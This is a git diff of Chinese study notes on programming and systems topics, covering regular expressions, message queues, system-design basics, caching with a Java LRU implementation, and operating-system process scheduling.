找到 Maven 加载的 Jar 包版本,使用 `mvn dependency:tree` 查看依赖树,根据依赖原则来调整依赖在 POM 文件的声明顺序。
# 参考资料
- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
- [新一代构建工具 gradle](https://www.imooc.com/learn/833)

View File

@ -23,11 +23,11 @@
# 二、匹配单个字符 # 二、匹配单个字符
正则表达式一般是区分大小写的,但是也有些实现是不区分。
**.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符; **.** 可以用来匹配任何的单个字符,但是在绝大多数实现里面,不能匹配换行符;
**\\** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \ 。 **.** 是元字符,表示它有特殊的含义,而不是字符本身的含义。如果需要匹配 . ,那么要用 \ 进行转义,即在 . 前面加上 \ 。
正则表达式一般是区分大小写的,但是也有些实现是不区分。
**正则表达式** **正则表达式**
@ -43,11 +43,11 @@ My **name** is Zheng.
**[ ]** 定义一个字符集合; **[ ]** 定义一个字符集合;
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间只能用在 [ ] 之间 0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间在 [ ] 中使用
**-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符; **-** 只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
**^** 在 [ ] 字符集合中是取非操作。 **^** 在 [ ] 中是取非操作。
**应用** **应用**
@ -78,9 +78,9 @@ abc[^0-9]
| \t | 制表符 | | \t | 制表符 |
| \v | 垂直制表符 | | \v | 垂直制表符 |
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n \r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行; \r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n
. 是元字符前提是没有对它们进行转义f 和 n 也是元字符,但是前提是对它们进行了转义。 \r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
## 匹配特定的字符类别 ## 匹配特定的字符类别
@ -105,11 +105,13 @@ abc[^0-9]
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] | | \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
| \S | 对 \s 取非 | | \S | 对 \s 取非 |
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10 ,等价于 \n,也就是它会匹配 \n \x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10等价于 \n。
# 五、重复匹配 # 五、重复匹配
**\+** 匹配 1 个或者多个字符 **\*** 匹配 0 个或者多个,**?** 匹配 0 个或者 1 个。 - **\+** 匹配 1 个或者多个字符
- **\** * 匹配 0 个或者多个
- **?** 匹配 0 个或者 1 个
**应用** **应用**
@ -127,16 +129,11 @@ abc[^0-9]
**abc.def<span>@</span>qq.com** **abc.def<span>@</span>qq.com**
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。 - **{n}** 匹配 n 个字符
- **{m, n}** 匹配 m\~n 个字符
- **{m,}** 至少匹配 m 个字符
``` \* 和 + 都是贪婪型元字符,会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}? 。
[\w.]+@\w+\.\w+
[\w.]+@[\w]+[\.][\w]+
```
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
\* 和 + 都是贪婪型元字符,会匹配最多的内容,在元字符后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}? 。
**正则表达式** **正则表达式**
@ -220,7 +217,9 @@ a.+c
**应用** **应用**
匹配 IP 地址。IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的: 匹配 IP 地址。
IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
- 一位数字 - 一位数字
- 不以 0 开头的两位数字 - 不以 0 开头的两位数字

81
notes/消息队列.md Normal file
View File

@ -0,0 +1,81 @@
<!-- GFM-TOC -->
* [一、消息模型](#一消息模型)
* [点对点](#点对点)
* [发布/订阅](#发布订阅)
* [二、使用场景](#二使用场景)
* [异步处理](#异步处理)
* [流量削锋](#流量削锋)
* [应用解耦](#应用解耦)
* [三、可靠性](#三可靠性)
* [发送端的可靠性](#发送端的可靠性)
* [接收端的可靠性](#接收端的可靠性)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、消息模型
## 点对点
消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。
<div align="center"> <img src="../pics//685a692f-8f76-4cac-baac-b68e2df9a30f.jpg"/> </div><br>
## 发布/订阅
消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。
<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息,可以立即返回。
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
# 二、使用场景
## 异步处理
发送者将消息发送给消息队列之后,不需要同步等待消息接收者处理完毕,而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
例如在注册流程中通常需要发送验证邮件来确保注册用户身份的合法性,可以使用消息队列使发送验证邮件的操作异步处理,用户在填写完注册信息之后就可以完成注册,而将发送验证邮件这一消息发送到消息队列中。
只有在业务流程允许异步处理的情况下才能这么做,例如上面的注册流程中,如果要求用户对验证邮件进行点击之后才能完成注册的话,就不能再使用消息队列。
## 流量削锋
在高并发的场景下,如果短时间有大量的请求到达会压垮服务器。
可以将请求发送到消息队列中,服务器按照其处理能力从消息队列中订阅消息进行处理。
## 应用解耦
如果模块之间不直接进行调用,模块之间耦合度就会很低,那么修改一个模块或者新增一个模块对其它模块的影响会很小,从而实现可扩展性。
通过使用消息队列,一个模块只需要向消息队列中发送消息,其它模块可以选择性地从消息队列中订阅消息从而完成调用。
# 三、可靠性
## 发送端的可靠性
发送端完成操作后一定能将消息成功发送到消息队列中。
实现方法:
- 在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。
## 接收端的可靠性
接收端能够从消息队列成功消费一次消息。
两种实现方法:
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
# 参考资料
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)

File diff suppressed because it is too large Load Diff

109
notes/系统设计基础.md Normal file
View File

@ -0,0 +1,109 @@
<!-- GFM-TOC -->
* [一、性能](#一性能)
* [二、伸缩性](#二伸缩性)
* [三、扩展性](#三扩展性)
* [四、可用性](#四可用性)
* [五、安全性](#五安全性)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、性能
## 性能指标
### 1. 响应时间
指某个请求从发出到接收到响应消耗的时间。
在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。
### 2. 吞吐量
指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。
### 3. 并发用户数
指系统能同时处理的并发用户请求数量。
在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s那么平均响应时间应该为 0.01s。
目前的大型系统都支持多线程来处理并发请求,多线程能够提高吞吐量以及缩短响应时间,主要有两个原因:
- 多 CPU
- IO 等待时间
使用 IO 多路复用等方式,系统在等待一个 IO 操作完成的这段时间内不需要被阻塞,可以去处理其它请求。通过将这个等待时间利用起来,使得 CPU 利用率大大提高。
并发用户数不是越高越好,因为如果并发用户数太高,系统来不及处理这么多的请求,会使得过多的请求需要等待,那么响应时间就会大大提高。
## 性能优化
### 1. 集群
将多台服务器组成集群,使用负载均衡将请求转发到集群中,避免单一服务器的负载压力过大导致性能降低。
### 2. 缓存
缓存能够提高性能的原因如下:
- 缓存数据通常位于内存等介质中,这种介质对于读操作特别快;
- 缓存数据可以位于靠近用户的地理位置上;
- 可以将计算结果进行缓存,从而避免重复计算。
### 3. 异步
某些流程可以将操作转换为消息,将消息发送到消息队列之后立即返回,之后这个操作会被异步处理。
# 二、伸缩性
指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
## 伸缩性与性能
如果系统存在性能问题,那么单个用户的请求总是很慢的;
如果系统存在伸缩性问题,那么单个用户的请求可能会很快,但是在并发数很高的情况下系统会很慢。
## 实现伸缩性
应用服务器只要不具有状态,那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
关系型数据库的伸缩性通过 Sharding 来实现,将数据按一定的规则分布到不同的节点上,从而解决单台存储服务器的存储空间限制。
对于非关系型数据库,它们天生就是为海量数据而诞生,对伸缩性的支持特别好。
# 三、扩展性
指的是添加新功能时对现有系统的其它应用无影响,这就要求不同应用具备低耦合的特点。
实现可扩展主要有两种方式:
- 使用消息队列进行解耦,应用之间通过消息传递进行通信;
- 使用分布式服务将业务和可复用的服务分离开来,业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑,对其它产品没有影响。
# 四、可用性
## 冗余
保证高可用的主要手段是使用冗余,当某个服务器故障时就请求其它服务器。
应用服务器的冗余比较容易实现,只要保证应用服务器不具有状态,那么某个应用服务器故障时,负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上,不会对用户有任何影响。
存储服务器的冗余需要使用主从复制来实现,当主服务器故障时,需要提升从服务器为主服务器,这个过程称为切换。
## 监控
对 CPU、内存、磁盘、网络等系统负载信息进行监控当某个数据达到一定阈值时通知运维人员从而在系统发生故障之前及时发现问题。
## 服务降级
服务降级是系统为了应对大量的请求,主动关闭部分功能,从而保证核心功能可用。
# 五、安全性
要求系统的应对各种攻击手段时能够有可靠的应对措施。
# 参考资料
- 大型网站技术架构:核心原理与案例分析

271
notes/缓存.md Normal file
View File

@ -0,0 +1,271 @@
<!-- GFM-TOC -->
* [一、缓存特征](#一缓存特征)
* [二、LRU](#二lru)
* [三、缓存位置](#三缓存位置)
* [四、CDN](#四cdn)
* [五、缓存问题](#五缓存问题)
* [六、数据分布](#六数据分布)
* [七、一致性哈希](#七一致性哈希)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、缓存特征
## 命中率
当某个请求能够通过访问缓存而得到响应时,称为缓存命中。
缓存命中率越高,缓存的利用率也就越高。
## 最大空间
缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。
当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。
## 淘汰策略
- FIFOFirst In First Out先进先出策略在实时性的场景下需要经常访问最新的数据那么就可以使用 FIFO使得最先进入的数据最晚的数据被淘汰。
- LRULeast Recently Used最近最久未使用策略优先淘汰最久未使用的数据也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据也就是经常被访问的数据从而保证缓存命中率。
# 二、LRU
以下是基于 双向链表 + HashMap 的 LRU 算法实现,对算法的解释如下:
- 访问某个节点时,将其从原来的位置删除,并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点,当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
- 为了使删除操作时间复杂度为 O(1)就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射,通过 Key 就能以 O(1) 的时间得到节点,然后再以 O(1) 的时间将其从双向队列中删除。
```java
public class LRU<K, V> implements Iterable<K> {
private Node head;
private Node tail;
private HashMap<K, Node> map;
private int maxSize;
private class Node {
Node pre;
Node next;
K k;
V v;
public Node(K k, V v) {
this.k = k;
this.v = v;
}
}
public LRU(int maxSize) {
this.maxSize = maxSize;
this.map = new HashMap<>(maxSize * 4 / 3);
head = new Node(null, null);
tail = new Node(null, null);
head.next = tail;
tail.pre = head;
}
public V get(K key) {
if (!map.containsKey(key)) {
return null;
}
Node node = map.get(key);
unlink(node);
appendHead(node);
return node.v;
}
public void put(K key, V value) {
if (map.containsKey(key)) {
Node node = map.get(key);
unlink(node);
}
Node node = new Node(key, value);
map.put(key, node);
appendHead(node);
if (map.size() > maxSize) {
Node toRemove = removeTail();
map.remove(toRemove.k);
}
}
private void unlink(Node node) {
Node pre = node.pre;
Node next = node.next;
pre.next = next;
next.pre = pre;
}
private void appendHead(Node node) {
node.next = head.next;
node.next.pre = node;
node.pre = head;
head.next = node;
}
private Node removeTail() {
Node node = tail.pre;
tail.pre = node.pre;
node.pre.next = tail;
return node;
}
@Override
public Iterator<K> iterator() {
return new Iterator<K>() {
private Node cur = head.next;
@Override
public boolean hasNext() {
return cur != tail;
}
@Override
public K next() {
Node node = cur;
cur = cur.next;
return node.k;
}
};
}
}
```
# 三、缓存位置
## 浏览器
当 HTTP 响应允许进行缓存时,浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
## ISP
网络服务提供商ISP是网络访问的第一跳通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
## 反向代理
反向代理位于服务器之前,请求与响应都需要经过反向代理。通过将数据缓存在反向代理,在用户请求反向代理时就可以直接使用缓存进行响应。
## 本地缓存
使用 Guava Cache 将数据缓存在服务器本地内存中,服务器代码可以直接读取本地内存中的缓存,速度非常快。
## 分布式缓存
使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
相对于本地缓存来说,分布式缓存单独部署,可以根据需求分配硬件资源。不仅如此,服务器集群都可以访问分布式缓存,而本地缓存需要在服务器集群之间进行同步,实现难度和性能开销上都非常大。
## 数据库缓存
MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
# 四、CDN
内容分发网络Content distribution networkCDN是一种互连的网络系统它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
CDN 主要有以下优点:
- 更快地将数据分发给用户;
- 通过部署多台服务器,从而提高系统整体的带宽性能;
- 多台服务器可以看成是一种冗余机制,从而具有高可用性。
<div align="center"> <img src="../pics//15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
# 五、缓存问题
## 缓存穿透
指的是对某个一定不存在的数据进行请求,该请求将会穿透缓存到达数据库。
解决方案:
- 对这些不存在的数据缓存一个空数据;
- 对这类请求进行过滤。
## 缓存雪崩
指的是由于数据没有被加载到缓存中,或者缓存数据在同一时间大面积失效(过期),又或者缓存服务器宕机,导致大量的请求都到达数据库。
在有缓存的系统中,系统非常依赖于缓存,缓存分担了很大一部分的数据请求。当发生缓存雪崩时,数据库无法处理这么大的请求,导致数据库崩溃。
解决方案:
- 为了防止缓存在同一时间大面积过期导致的缓存雪崩,可以通过观察用户行为,合理设置缓存过期时间来实现;
- 为了防止缓存服务器宕机出现的缓存雪崩,可以使用分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时可以保证其它节点的缓存仍然可用。
- 也可以进行缓存预热,避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
## 缓存一致性
缓存一致性要求数据更新的同时缓存数据也能够实时更新。
解决方案:
- 在数据更新的同时立即去更新缓存;
- 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进行更新。
要保证缓存一致性需要付出很大的代价,缓存数据最好是那些对一致性要求不高的数据,允许缓存数据存在一些脏数据。
# 六、数据分布
## 哈希分布
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key则将该数据分配的节点序号为hash(key)%N。
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
## 顺序分布
将数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000使用顺序分布可以将其划分成多个子表对应的主键范围为 1 \~ 10001001 \~ 2000...6001 \~ 7000。
顺序分布相比于哈希分布的主要优点如下:
- 能保持数据原有的顺序;
- 并且能够准确控制每台服务器存储的数据量,从而使得存储空间的利用率最大。
# 七、一致性哈希
Distributed Hash TableDHT 是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
## 基本原理
将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环,每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
<div align="center"> <img src="../pics//68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X只需要将它前一个节点 C 上的数据重新进行分布即可,对于节点 A、B、D 都没有影响。
<div align="center"> <img src="../pics//66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
## 虚拟节点
上面描述的一致性哈希存在数据分布不均匀的问题,节点存储的数据量有可能会存在很大的不同。
数据不均匀主要是因为节点在哈希环上分布的不均匀,这种情况在节点数量很少的情况下尤其明显。
解决方式是通过增加虚拟节点,然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多,那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好,从而使得数据分布也更加均匀。
# 参考资料
- 大规模分布式存储系统
- [缓存那些事](https://tech.meituan.com/cache_about.html)
- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)

View File

@ -1,20 +1,24 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、概述](#一概述) * [一、概述](#一概述)
* [操作系统基本特征](#操作系统基本特征) * [基本特征](#基本特征)
* [操作系统基本功能](#操作系统基本功能) * [基本功能](#基本功能)
* [系统调用](#系统调用) * [系统调用](#系统调用)
* [大内核和微内核](#大内核和微内核) * [大内核和微内核](#大内核和微内核)
* [中断分类](#中断分类) * [中断分类](#中断分类)
* [二、进程管理](#二进程管理) * [二、进程管理](#二进程管理)
* [进程与线程](#进程与线程) * [进程与线程](#进程与线程)
* [进程状态的切换](#进程状态的切换) * [进程状态的切换](#进程状态的切换)
* [调度算法](#调度算法) * [进程调度算法](#进程调度算法)
* [进程同步](#进程同步) * [进程同步](#进程同步)
* [经典同步问题](#经典同步问题) * [经典同步问题](#经典同步问题)
* [进程通信](#进程通信) * [进程通信](#进程通信)
* [三、死锁](#三死锁) * [三、死锁](#三死锁)
* [死锁的必要条件](#死锁的必要条件) * [必要条件](#必要条件)
* [死锁的处理方法](#死锁的处理方法) * [处理方法](#处理方法)
* [鸵鸟策略](#鸵鸟策略)
* [死锁检测与死锁恢复](#死锁检测与死锁恢复)
* [死锁预防](#死锁预防)
* [死锁避免](#死锁避免)
* [四、内存管理](#四内存管理) * [四、内存管理](#四内存管理)
* [虚拟内存](#虚拟内存) * [虚拟内存](#虚拟内存)
* [分页系统地址映射](#分页系统地址映射) * [分页系统地址映射](#分页系统地址映射)
@ -23,11 +27,12 @@
* [段页式](#段页式) * [段页式](#段页式)
* [分页与分段的比较](#分页与分段的比较) * [分页与分段的比较](#分页与分段的比较)
* [五、设备管理](#五设备管理) * [五、设备管理](#五设备管理)
* [磁盘结构](#磁盘结构)
* [磁盘调度算法](#磁盘调度算法) * [磁盘调度算法](#磁盘调度算法)
* [六、链接](#六链接) * [六、链接](#六链接)
* [编译系统](#编译系统) * [编译系统](#编译系统)
* [目标文件](#目标文件)
* [静态链接](#静态链接) * [静态链接](#静态链接)
* [目标文件](#目标文件)
* [动态链接](#动态链接) * [动态链接](#动态链接)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
@ -35,7 +40,7 @@
# 一、概述 # 一、概述
## 操作系统基本特征 ## 基本特征
### 1. 并发 ### 1. 并发
@ -57,13 +62,17 @@
虚拟技术把一个物理实体转换为多个逻辑实体。 虚拟技术把一个物理实体转换为多个逻辑实体。
主要有两种虚拟技术:时分复用技术和空分复用技术。例如多个进程能在同一个处理器上并发执行使用了时分复用技术,让每个进程轮流占有处理器,每次只执行一小个时间片并快速切换。 主要有两种虚拟技术:时分复用技术和空分复用技术。
多个进程能在同一个处理器上并发执行使用了时分复用技术,让每个进程轮流占有处理器,每次只执行一小个时间片并快速切换。
虚拟内存使用了空分复用技术,它将物理内存抽象为地址空间,每个进程都有各自的地址空间。地址空间和物理内存使用页进行交换,地址空间的页并不需要全部在物理内存中,当使用到一个没有在物理内存的页时,执行页面置换算法,将该页置换到内存中。
### 4. 异步 ### 4. 异步
异步指进程不是一次性执行完毕,而是走走停停,以不可知的速度向前推进。 异步指进程不是一次性执行完毕,而是走走停停,以不可知的速度向前推进。
## 操作系统基本功能 ## 基本功能
### 1. 进程管理 ### 1. 进程管理
@ -122,7 +131,7 @@ Linux 的系统调用主要有以下这些:
### 1. 外中断 ### 1. 外中断
由 CPU 执行指令以外的事件引起,如 I/O 结束中断,表示设备输入/输出处理已经完成,处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。 由 CPU 执行指令以外的事件引起,如 I/O 完成中断,表示设备输入/输出处理已经完成,处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。
### 2. 异常 ### 2. 异常
@ -152,19 +161,27 @@ Linux 的系统调用主要有以下这些:
一个进程中可以有多个线程,它们共享进程资源。 一个进程中可以有多个线程,它们共享进程资源。
QQ 和浏览器是两个进程,浏览器进程里面有很多线程,例如 HTTP 请求线程、事件响应线程、渲染线程等等,线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时,浏览器还可以响应用户的其它事件。
<div align="center"> <img src="../pics//3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br> <div align="center"> <img src="../pics//3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br>
### 3. 区别 ### 3. 区别
- 拥有资源:进程是资源分配的基本单位,但是线程不拥有资源,线程可以访问隶属进程的资源。 拥有资源
- 调度:线程是独立调度的基本单位,在同一进程中,线程的切换不会引起进程切换,从一个进程内的线程切换到另一个进程中的线程时,会引起进程切换 进程是资源分配的基本单位,但是线程不拥有资源,线程可以访问隶属进程的资源
- 系统开销由于创建或撤销进程时系统都要为之分配或回收资源如内存空间、I/O 设备等,所付出的开销远大于创建或撤销线程时的开销。类似地,在进行进程切换时,涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置,而线程切换时只需保存和设置少量寄存器内容,开销很小。 Ⅱ 调度
- 通信方面:进程间通信 (IPC) 需要进程同步和互斥手段的辅助,以保证数据的一致性。而线程间可以通过直接读/写同一进程中的数据段(如全局变量)来进行通信 线程是独立调度的基本单位,在同一进程中,线程的切换不会引起进程切换,从一个进程内的线程切换到另一个进程中的线程时,会引起进程切换
举例QQ 和浏览器是两个进程,浏览器进程里面有很多线程,例如 HTTP 请求线程、事件响应线程、渲染线程等等,线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时,浏览器还可以响应用户的其它事件。 Ⅲ 系统开销
由于创建或撤销进程时系统都要为之分配或回收资源如内存空间、I/O 设备等,所付出的开销远大于创建或撤销线程时的开销。类似地,在进行进程切换时,涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置,而线程切换时只需保存和设置少量寄存器内容,开销很小。
Ⅳ 通信方面
线程间可以通过直接读/写同一进程中的数据段来进行通信,但是进程通信需要借助 IPC。
## 进程状态的切换 ## 进程状态的切换
@ -179,53 +196,66 @@ Linux 的系统调用主要有以下这些:
- 只有就绪态和运行态可以相互转换,其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间,转为运行状态;而运行状态的进程,在分配给它的 CPU 时间片用完之后就会转为就绪状态,等待下一次调度。 - 只有就绪态和运行态可以相互转换,其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间,转为运行状态;而运行状态的进程,在分配给它的 CPU 时间片用完之后就会转为就绪状态,等待下一次调度。
- 阻塞状态是缺少需要的资源从而由运行状态转换而来,但是该资源不包括 CPU 时间,缺少 CPU 时间会从运行态转换为就绪态。 - 阻塞状态是缺少需要的资源从而由运行状态转换而来,但是该资源不包括 CPU 时间,缺少 CPU 时间会从运行态转换为就绪态。
## 调度算法 ## 进程调度算法
需要针对不同环境来讨论调度算法。 不同环境的调度算法目标不同,因此需要针对不同环境来讨论调度算法。
### 1. 批处理系统中的调度 ### 1. 批处理系统
**(一)先来先服务 first-come first-serverdFCFS** 批处理系统没有太多的用户操作,在该系统中,调度算法目标是保证吞吐量和周转时间(从提交到终止的时间)。
调度最先进入就绪队列的作业。 **1.1 先来先服务 first-come first-serverdFCFS**
按照请求的顺序进行调度。
有利于长作业,但不利于短作业,因为短作业必须一直等待前面的长作业执行完毕才能执行,而长作业又需要执行很长时间,造成了短作业等待时间过长。 有利于长作业,但不利于短作业,因为短作业必须一直等待前面的长作业执行完毕才能执行,而长作业又需要执行很长时间,造成了短作业等待时间过长。
**(二)短作业优先 shortest job firstSJF** **1.2 短作业优先 shortest job firstSJF**
调度估计运行时间最短的作业 估计运行时间最短的顺序进行调度
长作业有可能会饿死,处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来,那么长作业永远得不到调度。 长作业有可能会饿死,处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来,那么长作业永远得不到调度。
**(三)最短剩余时间优先 shortest remaining time nextSRTN** **1.3 最短剩余时间优先 shortest remaining time nextSRTN**
### 2. 交互式系统中的调度 按估计剩余时间最短的顺序进行调度
**(一)优先级调度** ### 2. 交互式系统
除了可以手动赋予优先权之外,还可以把响应比作为优先权,这种调度方式叫做高响应比优先调度算法 交互式系统有大量的用户交互操作,在该系统中调度算法的目标是快速地进行响应
响应比 = (等待时间 + 要求服务时间) / 要求服务时间 = 响应时间 / 要求服务时间 **2.1 时间片轮转**
这种调度算法主要是为了解决短作业优先调度算法长作业可能会饿死的问题,因为随着等待时间的增长,响应比也会越来越高。
**(二)时间片轮转**
将所有就绪进程按 FCFS 的原则排成一个队列,每次调度时,把 CPU 时间分配给队首进程,该进程可以执行一个时间片。当时间片用完时,由计时器发出时钟中断,调度程序便停止该进程的执行,并将它送往就绪队列的末尾,同时继续把 CPU 时间分配给队首的进程。 将所有就绪进程按 FCFS 的原则排成一个队列,每次调度时,把 CPU 时间分配给队首进程,该进程可以执行一个时间片。当时间片用完时,由计时器发出时钟中断,调度程序便停止该进程的执行,并将它送往就绪队列的末尾,同时继续把 CPU 时间分配给队首的进程。
时间片轮转算法的效率和时间片的大小有很大关系。因为进程切换都要保存进程的信息并且载入新进程的信息,如果时间片太小,会导致进程切换得太频繁,在进程切换上就会花过多时间。 时间片轮转算法的效率和时间片的大小有很大关系
**(三)多级反馈队列** - 因为进程切换都要保存进程的信息并且载入新进程的信息,如果时间片太小,会导致进程切换得太频繁,在进程切换上就会花过多时间。
- 而如果时间片过长,那么实时性就不能得到保证。
<div align="center"> <img src="../pics//042cf928-3c8e-4815-ae9c-f2780202c68f.png"/> </div><br> <div align="center"> <img src="../pics//8c662999-c16c-481c-9f40-1fdba5bc9167.png"/> </div><br>
如果一个进程需要执行 100 个时间片,如果采用轮转调度算法,那么需要交换 100 次。多级队列是为这种需要连续执行多个时间片的进程考虑,它设置了多个队列,每个队列时间片大小都不同,例如 1,2,4,8,..。进程在第一个队列没执行完,就会被移到下一个队列。这种方式下,之前的进程只需要交换 7 次。 **2.2 优先级调度**
为每个进程分配一个优先级,按优先级进行调度。
为了防止低优先级的进程永远等不到调度,可以随着时间的推移增加等待进程的优先级。
**2.3 多级反馈队列**
如果一个进程需要执行 100 个时间片,如果采用时间片轮转调度算法,那么需要交换 100 次。
多级队列是为这种需要连续执行多个时间片的进程考虑,它设置了多个队列,每个队列时间片大小都不同,例如 1,2,4,8,..。进程在第一个队列没执行完,就会被移到下一个队列。这种方式下,之前的进程只需要交换 7 次。
每个队列优先权也不同,最上面的优先权最高。因此只有上一个队列没有进程在排队,才能调度当前队列上的进程。 每个队列优先权也不同,最上面的优先权最高。因此只有上一个队列没有进程在排队,才能调度当前队列上的进程。
### 3. 实时系统中的调度 可以将这种调度算法看成是时间片轮转调度算法和优先级调度算法的结合。
实时系统要求一个服务请求在一个确定时间内得到响应。 <div align="center"> <img src="../pics//042cf928-3c8e-4815-ae9c-f2780202c68f.png"/> </div><br>
### 3. 实时系统
实时系统要求一个请求在一个确定时间内得到响应。
分为硬实时和软实时,前者必须满足绝对的截止时间,后者可以容忍一定的超时。 分为硬实时和软实时,前者必须满足绝对的截止时间,后者可以容忍一定的超时。
@ -283,7 +313,7 @@ void P2() {
